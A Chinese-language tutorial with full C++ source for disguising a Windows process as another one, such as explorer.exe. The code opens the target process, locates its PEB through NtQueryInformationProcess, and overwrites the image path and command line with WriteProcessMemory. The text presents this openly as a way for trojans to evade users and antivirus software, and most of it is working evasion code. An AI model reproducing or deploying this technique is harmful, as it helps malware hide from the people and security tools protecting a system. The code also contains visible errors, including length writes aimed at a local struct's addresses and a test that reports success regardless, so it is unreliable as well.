一、進程偽裝
對於木馬病毒來說,最簡單的進程偽裝方式就是修改進程名稱。例如,將本地文件名稱修改為svchost.exe、services.exe等系統進程,從而不被用戶和殺軟發現。接下來,將要介紹的進程偽裝可以修改任意指定進程的信息,即該進程信息在系統中顯示的時另一個進程的信息。這樣,指定進程與偽裝進程的信息相同,但實際上,它還執行原來的進程的操作,這就達到了偽裝的目的。
基礎知識:1、什么時PEB(Process Envirorment Block Structure)
https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
英文翻譯過來就是進程環境信息塊,這里包含了一寫進程的信息。
二、API
1、NtQueryInformationProcess函數
獲取指定進程的信息
https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess
注意:此函數沒有關聯的導入庫,所以必須使用LoadLibrary和GetProcessAddress函數從Ntdll.dlll中獲取該函數地址
2、PROCESS_BASIC_INFORMATION結構體
https://baike.baidu.com/item/PROCESS_INFORMATION/4931802?fr=aladdin
三、實現原理
進程偽裝的原理不是很復雜,就是修改指定進程環境快中的進程路徑以及命令行信息。所以,實現的關鍵在於進程環境塊的獲取。由上述的函數可知,可以通過ntdll.dll中的導出函數NtQueryInformationProcess來獲取指定進程的PEB地址。獲取目標進程的PEB之后,並不能直接根據指針來讀寫內存數據,因為該程序進程可能與目標進程並不在同一個進程內。由於進程空間獨立性的緣故,所以需要通過調用WIN32 API函數ReadProcessMemory和WriteProcessMemory來讀寫目標進程內存。
具體的實現流程如下所示:
首先,根據進程的PID號打開指定的進程,並獲取進程的句柄。
然后,從ntdll.dll中獲取NtQueryInformationProcess函數的導出地址,因為該函數沒有關聯導入庫,所以只能動態獲取。
接着,使用NtQueryInformationProcess函數獲取指定的進程基本信息PROCESS_BASIC_INFORMATION,並從中獲取指定進程的PEB。
最后,就可以根據進程環境塊中的ProcessParameters來獲取指定進程的RTL_USER_PROCESS_PARAMETERS信息,這是因為PEB的路徑信息、命令行信息存儲在這個結構體中。調用ReadProcessMemory和WriteProcessMemory函數修改PEB中的路徑信息、命令行信息等,從而實現進程偽裝。
四、代碼實現
DisguiseProcess.h
#ifndef _DISGUISE_PROCESS_H_
#define _DISGUISE_PROCESS_H_
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
#include <tchar.h>
#include <SDKDDKVer.h>
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
// 修改指定進程的進程環境塊PEB中的路徑和命令行信息, 實現進程偽裝
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd);
#endif
DisguiseProcess.cpp
#include "DisguiseProcess.h"
void ShowError(char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 修改指定進程的進程環境塊PEB中的路徑和命令行信息, 實現進程偽裝
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
// 打開進程獲取句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
// 需要通過 LoadLibrary、GetProcessAddress 從 ntdll.dll 中獲取地址
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
{
ShowError("GetProcAddress");
return FALSE;
}
// 獲取指定進程的基本信息
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
{
ShowError("NtQueryInformationProcess");
return FALSE;
}
/*
注意在讀寫其他進程的時候,注意要使用ReadProcessMemory/WriteProcessMemory進行操作,
每個指針指向的內容都需要獲取,因為指針只能指向本進程的地址空間,必須要讀取到本進程空間。
要不然一直提示位置訪問錯誤!
*/
// 獲取指定進程進本信息結構中的PebBaseAddress
ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
// 獲取指定進程環境塊結構中的ProcessParameters, 注意指針指向的是指定進程空間中
ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
// 修改指定進程環境塊PEB中命令行信息, 注意指針指向的是指定進程空間中
usCmdLen = 2 + 2 * wcslen(lpwszCmd);
WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
// 修改指定進程環境塊PEB中路徑信息, 注意指針指向的是指定進程空間中
usPathLen = 2 + 2 * wcslen(lpwszPath);
WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
}
DisguiseProcess_Test.cpp
#include "DisguiseProcess.h"
int _tmain(int argc, _TCHAR* argv[])
{
if (FALSE == DisguiseProcess(9968, L"C:\\Windows\\explorer.exe", L"explorer.exe"))
{
printf("Dsisguise Process Error.\n");
}
printf("Dsisguise Process OK.\n");
system("pause");
return 0;
}
五、小結
注意:1、一定要區分指針指向的是指定進程的空間還是本程序的空間,若指向其他進程空間,則一律使用ReadProcessMemory和WriteProcessMemory函數進行數據讀寫。
2、PEB修改程序在64位和32位系統中,分別編譯為64位程序和32程序